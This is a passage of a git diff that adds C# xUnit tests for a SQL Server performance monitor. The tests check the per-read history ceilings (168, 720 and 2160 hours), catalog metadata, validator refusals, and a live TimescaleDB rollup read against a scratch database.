+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.Json;
+using System.Threading.Tasks;
+using Microsoft.AspNetCore.Http;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: this class mints its own scratch database through ScratchPostgres and never touches another test's
+   rows, so it is deliberately NOT [Collection("live-postgres")] (it also stops the scratch database's TimescaleDB
+   background workers, which the shared store must never inherit). */
+
+/// <summary>
+/// #5562 (lane L4): a query trend asked for through the web dispatch past seven days is served from the hourly rollup
+/// (the Custom Views way: age picks the tier through <c>DurationTrendRouting</c>), and the read's ceiling is the one the
+/// reach table declares. A window of 60 days back holds the rolled-up hour and not the raw rows (a TimescaleDB scratch
+/// store; the raw rows are purged after the rollup refreshes, as retention does at four days).
+/// </summary>
+public sealed class WebReadReachLiveTests
+{
+    private const int ServerId = -556201;
+    private const string ServerName = "a5562-reach-hourly";
+    private const string Db = "ReachDb";
+
+    private static async Task<string> WebReadAsync(NpgsqlDataSource postgres, string read, int hours)
+    {
+        var context = new DefaultHttpContext();
+        context.Request.QueryString = QueryString.Create(new List<KeyValuePair<string, string?>>
+        {
+            new("server_name", ServerName),
+            new("hours_back", hours.ToString(System.Globalization.CultureInfo.InvariantCulture)),
+            new("counter_name", "Batch Requests/sec"),
+        });
+        return await DarlingWebEndpoints.BuildReadDispatch()[read](context, postgres, null!);
+    }
+
+    [Fact]
+    public async Task TheDurationTrends_PastSevenDays_ReadTheHourlyRollup_AndRefuseBeyondNinetyDays()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string (with TimescaleDB installed) to run the live reach test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var timescaleEnabled = await TimescaleSupport.TryEnableAsync(connection, null, ct);
+        Assert.SkipWhen(!timescaleEnabled, "The live reach test needs TimescaleDB.");
+        await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
+        Assert.True(await TimescaleSupport.EnsureCollectionLogHypertableAsync(connection, null, ct));
+        await using (var stop = new NpgsqlCommand("SELECT _timescaledb_functions.stop_background_workers()", connection))
+        {
+            await stop.ExecuteNonQueryAsync(ct);
+        }
+
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+        await TimescaleSupport.EnsureContinuousAggregatesAsync(connection, null, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            /* One busy hour, 60 days back by the wall clock: far past the raw tier's four days, well inside the hourly
+               rollup's ninety. */
+            var now = DateTime.UtcNow;
+            var hour = new DateTime(now.Year, now.Month, now.Day, now.Hour, 0, 0, DateTimeKind.Unspecified).AddDays(-60);
+            var at = hour.AddMinutes(10);
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                @"INSERT INTO collect.query_stats (collection_id, collection_time, server_id, server_name, database_name, query_hash, sql_handle,
+                      delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads, total_logical_reads, sample_interval_seconds)
+                  VALUES ($1, $2, $3, $4, $5, '0xQREACH', '0xSQLHREACH', 10, 3600000, 3600000, 100, 1000, 3600)",
+                CollectionIdGenerator.Next(), at, ServerId, ServerName, Db);
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                @"INSERT INTO collect.procedure_stats (collection_id, collection_time, server_id, server_name, database_name, schema_name, object_name, sql_handle,
+                      delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads, total_logical_reads, sample_interval_seconds)
+                  VALUES ($1, $2, $3, $4, $5, 'dbo', 'usp_REACH', '0xSQLHREACH', 10, 3600000, 3600000, 100, 1000, 3600)",
+                CollectionIdGenerator.Next(), at, ServerId, ServerName, Db);
+
+            foreach (var view in new[] { TimescaleSupport.QueryStatsIntervalHourlyView, TimescaleSupport.ProcedureStatsIntervalHourlyView })
+            {
+                await using var refresh = new NpgsqlCommand($"CALL refresh_continuous_aggregate('collect.{view}'::regclass, $1::timestamp, $2::timestamp)", connection);
+                refresh.Parameters.AddWithValue(hour.AddHours(-1));
+                refresh.Parameters.AddWithValue(hour.AddHours(2));
+                await refresh.ExecuteNonQueryAsync(ct);
+            }
+
+            foreach (var table in new[] { "collect.query_stats", "collect.procedure_stats" })
+            {
+                await using var purge = new NpgsqlCommand($"DELETE FROM {table} WHERE server_id = $1", connection);
+                purge.Parameters.AddWithValue(ServerId);
+                await purge.ExecuteNonQueryAsync(ct);
+            }
+
+            await using var postgres = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+            foreach (var read in new[] { "get_query_duration_trend", "get_procedure_duration_trend" })
+            {
+                /* 2160 hours is the read's declared reach and reaches the planted hour: the rollup answers, labelled hourly. */
+                var json = await WebReadAsync(postgres, read, WebReadReach.RollupTrendHours);
+                using var doc = JsonDocument.Parse(json);
+                Assert.False(doc.RootElement.TryGetProperty("error", out _), $"{read} refused its own declared reach: {json}");
+                Assert.Equal("hourly", doc.RootElement.GetProperty("source").GetString());
+                var points = doc.RootElement.GetProperty("trend").EnumerateArray().ToArray();
+                Assert.NotEmpty(points);
+                Assert.Contains(points, p => p.GetProperty("elapsed_ms_per_second").GetDouble() > 0);
+
+                /* One hour past the reach is refused, never clamped. */
+                var refused = McpHelpers.ErrorMessageOf(await WebReadAsync(postgres, read, WebReadReach.RollupTrendHours + 1));
+                Assert.Contains("exceeds maximum of 2160 hours (90 days)", refused);
+            }
+
+            /* Query Store's trend takes the same ceiling: 2160 is answered (an empty status is an answer), 2161 is refused. */
+            var qs = await WebReadAsync(postgres, "get_query_store_duration_trend", WebReadReach.RollupTrendHours);
+            Assert.DoesNotContain("exceeds maximum", qs);
+            Assert.Contains("exceeds maximum of 2160 hours (90 days)",
+                McpHelpers.ErrorMessageOf(await WebReadAsync(postgres, "get_query_store_duration_trend", WebReadReach.RollupTrendHours + 1)));
+
+            /* A read that did not opt in keeps 168: a ranking that routes through the same rollup. */
+            foreach (var read in new[] { "get_top_queries_by_cpu" })
+            {
+                var refused = McpHelpers.ErrorMessageOf(await WebReadAsync(postgres, read, McpHelpers.MaxHoursBack + 1));
+                Assert.Contains("exceeds maximum of 168 hours (7 days)", refused);
+            }
+
+            /* The raw-table trends reach their table's 30 days (#5562 L4b): 720 is answered, 721 is refused, never clamped. */
+            foreach (var read in new[] { "get_tempdb_trend", "get_memory_trend", "get_cpu_utilization", "get_perfmon_trend" })
+            {
+                /* No "error" key at all, not merely a message without the ceiling text: a read that failed for another reason must not pass (review L6). */
+                var answered = await WebReadAsync(postgres, read, WebReadReach.RawTrendHours);
+                using (var answeredDoc = JsonDocument.Parse(answered))
+                {
+                    Assert.False(answeredDoc.RootElement.TryGetProperty("error", out _), $"{read} refused its own declared reach: {answered}");
+                }
+
+                var refused = McpHelpers.ErrorMessageOf(await WebReadAsync(postgres, read, WebReadReach.RawTrendHours + 1));
+                Assert.Contains("exceeds maximum of 720 hours (30 days)", refused);
+            }
+
+            /* The perfmon trend joined the raised set with #5574 (re-grouped by counter: 11.2 s to 1.3 s cold at 30 days); the heatmap (raw query_stats, four days on a TimescaleDB store) stays at 168. */
+            foreach (var read in new[] { "get_query_heatmap" })
+            {
+                Assert.Contains("exceeds maximum of 168 hours (7 days)",
+                    McpHelpers.ErrorMessageOf(await WebReadAsync(postgres, read, McpHelpers.MaxHoursBack + 1)));
+            }
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (cleanup, cleanupCt) =>
+            {
+                await using var probe = new NpgsqlCommand(
+                    "SELECT count(*) FROM pg_catalog.pg_stat_activity WHERE datname = pg_catalog.current_database() " +
+                    "AND backend_type LIKE 'TimescaleDB Background Worker Scheduler%'", cleanup);
+                Assert.Equal(0L, Convert.ToInt64(await probe.ExecuteScalarAsync(cleanupCt)));
+            });
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/WebReadReachTests.cs b/Darling/Darling.Tests/WebReadReachTests.cs
new file mode 100644
index 0000000000..04129ce5e9
--- /dev/null
+++ b/Darling/Darling.Tests/WebReadReachTests.cs
@@ -0,0 +1,438 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.Json.Nodes;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5562 (lane L4): the per-read reach the web picker reads. <see cref="WebReadReach"/> is the one table; these tests
+/// pin that it covers every windowed web read (a census that fails when a read is added without a row), that the
+/// catalog serves it as <c>max_hours</c> on the read's <c>hours</c> param, that only bucketed trends reach past
+/// <see cref="McpHelpers.MaxHoursBack"/>, that the validator of each such read takes its ceiling from the table, and
+/// that the <c>ValidateWindow</c> overload refuses (never clamps) beyond the ceiling it is handed.
+/// </summary>
+public sealed class WebReadReachTests
+{
+    private static string[] WindowedReads() =>
+        DarlingWebEndpoints.CatalogDescriptors
+            .Where(kv => kv.Value.Params.Any(p => p.Name == "hours"))
+            .Select(kv => kv.Key)
+            .OrderBy(n => n, StringComparer.Ordinal)
+            .ToArray();
+
+    private static JsonObject HoursParam(JsonObject catalog, string read) =>
+        catalog["reads"]!.AsArray()
+            .Single(r => r!["name"]!.GetValue<string>() == read)!["params"]!.AsArray()
+            .Single(p => p!["name"]!.GetValue<string>() == "hours")!.AsObject();
+
+    /* ───────────── the census ───────────── */
+
+    [Fact]
+    public void EveryWindowedWebRead_HasARowInTheReachTable()
+    {
+        var missing = WindowedReads().Where(n => !WebReadReach.All.ContainsKey(n)).ToArray();
+        Assert.True(
+            missing.Length == 0,
+            "These web reads take an hours param but have no row in WebReadReach.All (#5562: add the read's reach and main collector): "
+            + string.Join(", ", missing));
+    }
+
+    [Fact]
+    public void EveryRowInTheReachTable_NamesAWindowedWebRead()
+    {
+        var windowed = WindowedReads().ToHashSet(StringComparer.Ordinal);
+        var orphans = WebReadReach.All.Keys.Where(n => !windowed.Contains(n)).OrderBy(n => n, StringComparer.Ordinal).ToArray();
+        Assert.True(
+            orphans.Length == 0,
+            "These WebReadReach rows name no windowed web read (renamed or removed read, or a read with no hours param): "
+            + string.Join(", ", orphans));
+    }
+
+    [Fact]
+    public void EveryRow_NamesACollectorTheDefaultsKnow_OrNone()
+    {
+        foreach (var (read, reach) in WebReadReach.All)
+        {
+            if (reach.Collector is not null)
+            {
+                Assert.True(
+                    CollectorScheduleDefaults.All.ContainsKey(reach.Collector),
+                    $"{read} names collector '{reach.Collector}', which CollectorScheduleDefaults does not know.");
+            }
+        }
+    }
+
+    /* ───────────── what reaches past 168 hours ───────────── */
+
+    [Fact]
+    public void OnlyBucketedTrends_ReachPastTheDefault_AndNoneReachesPastTheirRollup()
+    {
+        foreach (var (read, reach) in WebReadReach.All)
+        {
+            if (reach.MaxHours > McpHelpers.MaxHoursBack)
+            {
+                /* Alert History is the one list that reaches past a week (ruling R8): its reach is the alert table's retention, capped by its row limit. */
+                Assert.True(
+                    reach.Shape == ReadShape.BucketedTrend || read == "get_alert_history",
+                    $"{read} reaches {reach.MaxHours} h but is a {reach.Shape}; lists and rankings stay at {McpHelpers.MaxHoursBack}.");
+                Assert.True(reach.MaxHours <= WebReadReach.RollupTrendHours, $"{read} reaches past the hourly rollup's 90 days.");
+            }
+            else
+            {
+                Assert.Equal(McpHelpers.MaxHoursBack, reach.MaxHours);
+            }
+        }
+
+        Assert.Equal(
+            new[]
+            {
+                "get_alert_history", "get_blocking_stats", "get_blocking_trend", "get_cpu_utilization", "get_deadlock_trend", "get_file_io_trend",
+                "get_lock_wait_trend", "get_memory_trend", "get_perfmon_trend", "get_pg_cpu_utilization", "get_pg_database_trend", "get_pg_io_trend",
+                "get_procedure_duration_trend", "get_query_duration_trend", "get_query_store_duration_trend", "get_tempdb_trend",
+                "get_wait_trend",
+            },
+            WebReadReach.All.Where(kv => kv.Value.MaxHours > McpHelpers.MaxHoursBack).Select(kv => kv.Key).OrderBy(n => n, StringComparer.Ordinal).ToArray());
+        Assert.Equal(2160, WebReadReach.RollupTrendHours);
+        Assert.Equal(720, WebReadReach.RawTrendHours);
+        Assert.Equal(2160, WebReadReach.AlertHistoryHours);
+
+        /* #5574: get_perfmon_trend joined the raised set once its compressed data was re-grouped by counter (11.2 s to 1.3 s cold at 30 days); get_query_heatmap (raw query_stats, four days on a TimescaleDB store) stays at a week. */
+        Assert.Equal(WebReadReach.RawTrendHours, WebReadReach.MaxHoursFor("get_perfmon_trend"));
+        Assert.Equal(McpHelpers.MaxHoursBack, WebReadReach.MaxHoursFor("get_query_heatmap"));
+    }
+
+    /// <summary>
+    /// Review r1 M1: a read's reach never exceeds its table's retention on EITHER store type. The test above checks the
+    /// collector's default retention (plain PostgreSQL); a TimescaleDB store drops the three raw tiers at four days. A read of
+    /// one of those raw tables (not a rollup-routed trend, whose reach is the rollup's) stays at <see cref="McpHelpers.MaxHoursBack"/>
+    /// or less, and the four days is named so a change to it surfaces here.
+    /// </summary>
+    [Fact]
+    public void NoRawTierTableRead_ReachesPastTheTimescaleRawRetention()
+    {
+        Assert.Equal("4 days", PerformanceMonitor.Darling.Storage.TimescaleSupport.RawRetentionInterval);
+        var rawTierTables = PerformanceMonitor.Darling.Storage.TimescaleSupport.RawRelations.ToHashSet(StringComparer.Ordinal);
+        foreach (var (read, reach) in WebReadReach.All)
+        {
+            if (reach.Collector is null || reach.MaxHours == WebReadReach.RollupTrendHours)
+            {
+                continue;
+            }
+
+            var table = CollectorCatalog.All.SingleOrDefault(c => c.Name == reach.Collector)?.TargetTable;
+            if (table is not null && rawTierTables.Contains(table))
+            {
+                Assert.True(
+                    reach.MaxHours <= McpHelpers.MaxHoursBack,
+                    $"{read} reads raw {table}, which a TimescaleDB store drops after four days, but reaches {reach.MaxHours} h.");
+            }
+        }
+    }
+
+    /// <summary>
+    /// Review r1 M6, as moved by r3: no MCP tool states a reach its <see cref="WebReadReach"/> row does not hold, so raising or
+    /// lowering a row cannot leave a description stating the old ceiling. The number is not in the <c>hours_back</c> parameter's
+    /// description (that line is in every <c>tools/list</c> answer, and <c>McpToolsListBudgetTests</c> holds it at "Hours of history.
+    /// Default N."): a raised tool that has a reading guide states it there, as "hours_back reaches N", after its
+    /// <c>&lt;&lt;GUIDE&gt;&gt;</c> marker (get_tool_guide serves it); a raised tool with no guide states none, because a guide would cost
+    /// every <c>tools/list</c> answer a pointer sentence, and its refusal past the row names the ceiling. A tool that never capped
+    /// (<c>ValidateUncappedWindow</c>) states no ceiling and is skipped.
+    /// </summary>
+    [Fact]
+    public void EveryRaisedTool_StatesItsRowsNumberInTheGuideTail_NeverInTheHead_AndNoToolClaimsMoreThanItsRow()
+    {
+        var tools = typeof(WebReadReach).Assembly.GetTypes()
+            .SelectMany(t => t.GetMethods(System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.Public | System.Reflection.BindingFlags.NonPublic))
+            .Select(m => (Method: m, Attr: (ModelContextProtocol.Server.McpServerToolAttribute?)Attribute.GetCustomAttribute(m, typeof(ModelContextProtocol.Server.McpServerToolAttribute))))
+            .Where(x => x.Attr?.Name is not null)
+            .ToDictionary(x => x.Attr!.Name!, x => x.Method, StringComparer.Ordinal);
+        var uncapped = new[] { "get_blocking_stats" };
+        var raised = 0;
+        var guided = 0;
+        foreach (var (read, reach) in WebReadReach.All)
+        {
+            if (!tools.TryGetValue(read, out var method))
+            {
+                continue;
+            }
+
+            var hoursBack = method.GetParameters().SingleOrDefault(p => p.Name == "hours_back");
+            var description = hoursBack is null ? null
+                : ((System.ComponentModel.DescriptionAttribute?)Attribute.GetCustomAttribute(hoursBack, typeof(System.ComponentModel.DescriptionAttribute)))?.Description;
+            if (description is null || Array.IndexOf(uncapped, read) >= 0)
+            {
+                continue;
+            }
+
+            var toolDescription = ((System.ComponentModel.DescriptionAttribute?)Attribute.GetCustomAttribute(method, typeof(System.ComponentModel.DescriptionAttribute)))?.Description ?? string.Empty;
+            var marker = toolDescription.IndexOf(McpToolGuide.Marker, StringComparison.Ordinal);
+
+            /* The head (the parameter line, and the tool's text before its marker) states no reach: it is in every tools/list answer. */
+            var head = description + " " + (marker >= 0 ? toolDescription[..marker] : toolDescription);
+            Assert.False(
+                Regex.Matches(head, @"(?:up to|reaches) (?<n>\d+)").Any(m => int.Parse(m.Groups["n"].Value, System.Globalization.CultureInfo.InvariantCulture) > McpHelpers.MaxHoursBack),
+                $"{read}: the tools/list head states a reach ('{description}'); move it after the tool's <<GUIDE>> marker.");
+
+            var claim = marker >= 0 ? Regex.Match(toolDescription[marker..], @"hours_back reaches (?<n>\d+)") : Match.Empty;
+            if (reach.MaxHours > McpHelpers.MaxHoursBack)
+            {
+                raised++;
+                if (marker >= 0)
+                {
+                    guided++;
+                    Assert.True(claim.Success && claim.Groups["n"].Value == reach.MaxHours.ToString(System.Globalization.CultureInfo.InvariantCulture),
+                        $"{read}: its guide tail says '{(claim.Success ? claim.Value : "nothing")}' but its WebReadReach row holds {reach.MaxHours}.");
+                }
+            }
+            else if (claim.Success)
+            {
+                Assert.True(int.Parse(claim.Groups["n"].Value, System.Globalization.CultureInfo.InvariantCulture) <= reach.MaxHours,
+                    $"{read}: its guide tail says '{claim.Value}' but its WebReadReach row holds only {reach.MaxHours}.");
+            }
+        }
+
+        Assert.True(raised >= 14, $"Only {raised} raised tools had an hours_back description to check; the reflection missed them.");
+        Assert.True(guided >= 7, $"Only {guided} raised tools carry their reach in a guide tail.");
+    }
+
+    /// <summary>
+    /// #5562 L4b, rule 4: a raw-table read never reaches past its table's retention. A read over a table that keeps
+    /// less than 30 days (<c>waiting_tasks</c>, 7) stays at 168; the rollup-routed duration trends are the only reads whose
+    /// reach is the rollup's, not the raw table's, so they are skipped here.
+    /// </summary>
+    [Fact]
+    public void NoRawTableRead_ReachesPastItsCollectorsDefaultRetention()
+    {
+        foreach (var (read, reach) in WebReadReach.All)
+        {
+            if (reach.Collector is null || reach.MaxHours > WebReadReach.RawTrendHours)
+            {
+                continue;
+            }
+
+            Assert.True(
+                CollectorScheduleDefaults.All[reach.Collector].RetentionDays * 24 >= reach.MaxHours,
+                $"{read} reaches {reach.MaxHours} h but its collector {reach.Collector} keeps {CollectorScheduleDefaults.All[reach.Collector].RetentionDays} days.");
+        }
+
+        Assert.Equal(168, WebReadReach.MaxHoursFor("get_current_waits_trend"));
+    }
+
+    /// <summary>
+    /// #5574: the perfmon re-group drain covers exactly what the 30-day perfmon trend reads. The trend is fast over a
+    /// chunk only once that chunk is re-grouped by counter, so the drain's reach in days must be the trend's reach in
+    /// hours divided by 24: raising one without the other would leave part of the window on the 11.2 s shape, or
+    /// re-group chunks no read ever reaches.
+    /// </summary>
+    [Fact]
+    public void ThePerfmonReGroupDrainsReach_IsThePerfmonTrendsReachInDays()
+    {
+        Assert.Equal(PerformanceMonitor.Darling.Storage.TimescaleSupport.PerfmonRegroupReachDays, WebReadReach.RawTrendHours / 24);
+        Assert.Equal(PerformanceMonitor.Darling.Storage.TimescaleSupport.PerfmonRegroupReachDays, WebReadReach.MaxHoursFor("get_perfmon_trend") / 24);
+    }
+
+    /// <summary>
+    /// The validator of each opted-in read takes its ceiling from the table, and no other tool does: a row that says
+    /// 2,160 with a validator still on the 168-hour overload would advertise a window the read then refuses, and a
+    /// validator that opts in with no row would reach further than the picker was told.
+    /// </summary>
+    [Fact]
+    public void EveryOptedInValidator_NamesAReadWhoseRowReachesPast168_AndEveryRowThatDoesIsOptedIn()
+    {
+        var serviceDir = PathTo("Darling", "PerformanceMonitor.Darling.Service");
+        var optedIn = new Dictionary<string, int>(StringComparer.Ordinal);
+        foreach (var file in System.IO.Directory.EnumerateFiles(serviceDir, "*.cs", System.IO.SearchOption.AllDirectories))
+        {
+            if (file.EndsWith("WebReadReach.cs", StringComparison.Ordinal)
+                || file.Contains($"{System.IO.Path.DirectorySeparatorChar}obj{System.IO.Path.DirectorySeparatorChar}", StringComparison.Ordinal)
+                || file.Contains($"{System.IO.Path.DirectorySeparatorChar}bin{System.IO.Path.DirectorySeparatorChar}", StringComparison.Ordinal))
+            {
+                continue;
+            }
+
+            foreach (Match m in Regex.Matches(System.IO.File.ReadAllText(file), @"WebReadReach\.MaxHoursFor\(""(?<read>[a-z_0-9]+)""\)"))
+            {
+                var read = m.Groups["read"].Value;
+                optedIn[read] = optedIn.GetValueOrDefault(read) + 1;
+            }
+        }
+
+        /* A read the MCP deliberately never capped (ValidateUncappedWindow) keeps its validator: the table row only tells the page how far to offer. */
+        var uncapped = new[] { "get_blocking_stats" };
+        var dataTools = System.IO.File.ReadAllText(System.IO.Path.Combine(serviceDir, "Mcp", "DarlingMcpDataTools.cs"));
+        foreach (var read in uncapped)
+        {
+            Assert.True(WebReadReach.All[read].MaxHours > McpHelpers.MaxHoursBack);
+            Assert.DoesNotContain($"MaxHoursFor(\"{read}\")", dataTools);
+            Assert.Matches($@"Name = ""{read}""[\s\S]*?ValidateUncappedWindow", dataTools);
+            optedIn[read] = 1;
+        }
+
+        foreach (var read in optedIn.Keys)
+        {
+            Assert.True(
+                WebReadReach.All.TryGetValue(read, out var reach) && reach.MaxHours > McpHelpers.MaxHoursBack,
+                $"{read}'s validator takes its ceiling from the table, but its row does not reach past {McpHelpers.MaxHoursBack}.");
+        }
+
+        foreach (var (read, reach) in WebReadReach.All.Where(kv => kv.Value.MaxHours > McpHelpers.MaxHoursBack))
+        {
+            Assert.True(optedIn.GetValueOrDefault(read) == 1, $"{read} reaches {reach.MaxHours} h in the table but {optedIn.GetValueOrDefault(read)} validator(s) read that ceiling (want exactly one).");
+        }
+    }
+
+    [Fact]
+    public void MaxHoursFor_ThrowsForAReadWithNoRow_AndAnswersTheTableForOne()
+    {
+        Assert.Equal(2160, WebReadReach.MaxHoursFor("get_query_duration_trend"));
+        Assert.Equal(168, WebReadReach.MaxHoursFor("get_top_queries_by_cpu"));
+        Assert.Throws<InvalidOperationException>(() => WebReadReach.MaxHoursFor("get_no_such_read"));
+    }
+
+    /* ───────────── the catalog ───────────── */
+
+    [Fact]
+    public void Catalog_EveryHoursParam_CarriesMaxHoursFromTheTable()
+    {
+        var catalog = DarlingWebEndpoints.BuildCatalogNode();
+        foreach (var read in WindowedReads())
+        {
+            var hours = HoursParam(catalog, read);
+            var reach = WebReadReach.All[read];
+            Assert.Equal(reach.MaxHours, hours["max_hours"]!.GetValue<int>());
+            Assert.Equal(reach.Collector, hours["collector"]?.GetValue<string>());
+            Assert.NotNull(hours["shape"]);
+        }
+
+        Assert.Equal(2160, HoursParam(catalog, "get_query_store_duration_trend")["max_hours"]!.GetValue<int>());
+        Assert.Equal(720, HoursParam(catalog, "get_wait_trend")["max_hours"]!.GetValue<int>());
+        Assert.Equal(720, HoursParam(catalog, "get_perfmon_trend")["max_hours"]!.GetValue<int>());
+        Assert.Equal(168, HoursParam(catalog, "get_server_trend")["max_hours"]!.GetValue<int>());
+        Assert.Equal(2160, HoursParam(catalog, "get_alert_history")["max_hours"]!.GetValue<int>());
+        Assert.Equal("bucketed_trend", HoursParam(catalog, "get_wait_trend")["shape"]!.GetValue<string>());
+        Assert.Equal("latest_snapshot", HoursParam(catalog, "get_active_queries")["shape"]!.GetValue<string>());
+    }
+
+    [Fact]
+    public void Catalog_OnlyTheHoursParamCarriesReach()
+    {
+        var catalog = DarlingWebEndpoints.BuildCatalogNode();
+        foreach (var read in catalog["reads"]!.AsArray())
+        {
+            foreach (var p in read!["params"]!.AsArray())
+            {
+                var isHours = p!["name"]!.GetValue<string>() == "hours";
+                Assert.Equal(isHours, p.AsObject().ContainsKey("max_hours"));
+            }
+        }
+    }
+
+    [Fact]
+    public void Catalog_CollectorInterval_IsTheShippedDefaultUntilTheStoreHoldsASchedule()
+    {
+        var plain = HoursParam(DarlingWebEndpoints.BuildCatalogNode(), "get_query_store_duration_trend");
+        Assert.Equal("query_store", plain["collector"]!.GetValue<string>());
+        Assert.Equal(5, plain["collector_interval_minutes"]!.GetValue<int>());
+        Assert.Equal(5, plain["collector_default_interval_minutes"]!.GetValue<int>());
+
+        var oneMinute = HoursParam(DarlingWebEndpoints.BuildCatalogNode(), "get_wait_trend");
+        Assert.Equal(1, oneMinute["collector_interval_minutes"]!.GetValue<int>());
+
+        var noCollector = HoursParam(DarlingWebEndpoints.BuildCatalogNode(), "get_analysis_findings");
+        Assert.Null(noCollector["collector"]);
+        Assert.Null(noCollector["collector_interval_minutes"]);
+        Assert.Null(noCollector["collector_default_interval_minutes"]);
+    }
+
+    [Fact]
+    public void Catalog_CollectorInterval_FollowsTheScheduleInForce_PerServerOverFleetOverDefault()
+    {
+        var schedules = new[]
+        {
+            new ScheduleOverride(null, "query_store", 15, null, null),
+            new ScheduleOverride(7, "query_store", 30, null, null),
+            new ScheduleOverride(7, "wait_stats", 2, null, null),
+        };
+
+        /* No server: the fleet-wide row, and only it. */
+        var fleet = DarlingWebEndpoints.BuildCatalogNode(null, schedules);
+        Assert.Equal(15, HoursParam(fleet, "get_query_store_duration_trend")["collector_interval_minutes"]!.GetValue<int>());
+        Assert.Equal(1, HoursParam(fleet, "get_wait_trend")["collector_interval_minutes"]!.GetValue<int>());
+
+        /* Server 7: its own row wins over the fleet's, a column it does not set falls through, the default stays visible. */
+        var server = DarlingWebEndpoints.BuildCatalogNode(7, schedules);
+        var qs = HoursParam(server, "get_query_store_duration_trend");
+        Assert.Equal(30, qs["collector_interval_minutes"]!.GetValue<int>());
+        Assert.Equal(5, qs["collector_default_interval_minutes"]!.GetValue<int>());
+        Assert.Equal(2, HoursParam(server, "get_wait_trend")["collector_interval_minutes"]!.GetValue<int>());
+
+        /* Another server sees the fleet's row, not server 7's. */
+        Assert.Equal(15, HoursParam(DarlingWebEndpoints.BuildCatalogNode(8, schedules), "get_query_store_duration_trend")["collector_interval_minutes"]!.GetValue<int>());
+    }
+
+    /* ───────────── the McpHelpers overload ───────────── */
+
+    [Fact]
+    public void ValidateWindow_WithACeiling_AcceptsUpToItAndRefusesBeyondWithoutClamping()
+    {
+        Assert.Null(McpHelpers.ValidateWindow(2160, null, 2160, out _));
+        Assert.Null(McpHelpers.ValidateWindow(1, null, 2160, out _));
+
+        var over = McpHelpers.ValidateWindow(2161, null, 2160, out _);
+        Assert.NotNull(over);
+        var message = McpHelpers.ErrorMessageOf(over!);
+        Assert.Contains("2161", message);
+        Assert.Contains("maximum of 2160 hours (90 days)", message);
+
+        var zero = McpHelpers.ErrorMessageOf(McpHelpers.ValidateWindow(0, null, 2160, out _)!);
+        Assert.Contains("(1-2160)", zero);
+    }
+
+    [Fact]
+    public void ValidateWindow_WithACeiling_ChecksTheSpanBeforeTheAnchor_AndStillResolvesAsOf()
+    {
+        var spanFirst = McpHelpers.ValidateWindow(3000, "not a date", 2160, out _);
+        Assert.Contains("hours_back", spanFirst!);
+
+        var anchorBad = McpHelpers.ValidateWindow(2000, "not a date", 2160, out _);
+        Assert.NotNull(anchorBad);
+        Assert.Contains("as_of", anchorBad!);
+
+        var asOf = new DateTime(2026, 9, 1, 12, 0, 0, DateTimeKind.Utc);
+        Assert.Null(McpHelpers.ValidateWindow(2000, asOf.ToString("o"), 2160, out var end));
+        Assert.Equal(asOf, end);
+    }
+
+    [Fact]
+    public void ValidateWindow_WithoutACeiling_StaysAt168_AndSaysTheSameWords()
+    {
+        Assert.Equal(168, McpHelpers.MaxHoursBack);
+        Assert.Null(McpHelpers.ValidateWindow(168, null, out _));
+        Assert.NotNull(McpHelpers.ValidateWindow(169, null, out _));
+        Assert.Equal(McpHelpers.ValidateHoursBack(169), McpHelpers.ValidateHoursBack(169, 168));
+        Assert.Equal(McpHelpers.ValidateWindow(169, null, out _), McpHelpers.ValidateWindow(169, null, 168, out _));
+        Assert.Contains("exceeds maximum of 168 hours (7 days)", McpHelpers.ErrorMessageOf(McpHelpers.ValidateHoursBack(169)!));
+        Assert.Contains("(1-168)", McpHelpers.ErrorMessageOf(McpHelpers.ValidateHoursBack(0)!));
+    }
+
+    [Fact]
+    public void ACeilingThatIsNotWholeDays_IsSpelledInHours()
+    {
+        Assert.Contains("maximum of 100 hours. Use", McpHelpers.ErrorMessageOf(McpHelpers.ValidateHoursBack(101, 100)!));
+    }
+}
diff --git a/Darling/Darling.Tests/WebRenderSettleTests.cs b/Darling/Darling.Tests/WebRenderSettleTests.cs
index 0bf52d8f38..d8f93df432 100644
--- a/Darling/Darling.Tests/WebRenderSettleTests.cs
+++ b/Darling/Darling.Tests/WebRenderSettleTests.cs
@@ -24,7 +24,7 @@ public sealed class WebRenderSettleTests
     private static readonly string s_wwwroot = Path.Combine(
         "Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js");
 
-    /// <summary>Runs one harness scenario and returns its JSON, or false when Node is not installed.</summary>
+    /// <summary>Runs one harness scenario and returns its JSON. When Node is not installed, the test is reported as skipped.</summary>
     private static bool TryRun(string scenario, out JsonElement result)
     {
         result = default;
@@ -49,7 +49,8 @@ private static bool TryRun(string scenario, out JsonElement result)
         }
